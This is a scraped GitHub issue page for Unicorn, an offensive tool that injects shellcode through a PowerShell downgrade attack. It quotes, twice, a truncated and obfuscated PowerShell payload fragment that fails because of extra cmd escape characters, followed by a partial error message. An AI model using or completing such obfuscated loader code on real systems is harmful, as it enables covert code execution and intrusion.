Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18.
Hi, I am not sure if this is an intended behavior, but I spend some time on this issue so I will post it here. The double quote version payload does not work for me when run directly from powershell (due to the redundant \ as escape sign for cmd)
powershell /C "s\"\"v Qf -;s\"\"v Dl e\"\"c;s\"\"v mg ((g\"\"v Qf).value.toString()+(g\"\"v Dl).value.toString()) ...
Error message:
spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1```
HackingDave
commented
4 years ago
Hi, I am not sure if this is an intended behavior, but I spend some time on this issue so I will post it here. The double quote version payload does not work for me when run directly from powershell (due to the redundant \ as escape sign for cmd)
powershell /C "s\"\"v Qf -;s\"\"v Dl e\"\"c;s\"\"v mg ((g\"\"v Qf).value.toString()+(g\"\"v Dl).value.toString()) ...Error message: